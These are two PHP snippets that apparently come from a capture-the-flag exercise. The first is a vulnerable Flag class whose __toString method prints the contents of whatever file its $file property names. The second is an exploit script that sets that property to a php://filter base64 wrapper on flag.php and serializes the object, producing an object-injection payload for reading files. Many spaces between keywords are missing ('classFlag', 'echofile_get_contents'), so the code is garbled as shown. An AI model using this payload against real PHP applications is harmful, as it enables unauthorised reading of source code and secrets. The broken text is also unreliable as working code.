<?php classFlag{ //flag.php public $file; publicfunction__tostring(){ if(isset($this->file)){ echofile_get_contents($this->file); echo"<br>";return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
<?phpclassFlag{ //flag.phppublic $file;publicfunction__construct() {$this->file ="php://filter/read=convert.base64-encode/resource=flag.php"; }publicfunction__tostring() {if (isset($this->file)) {echofile_get_contents($this->file);echo"<br>";return ("U R SO CLOSE !///COME ON PLZ"); } }}echoserialize(newFlag());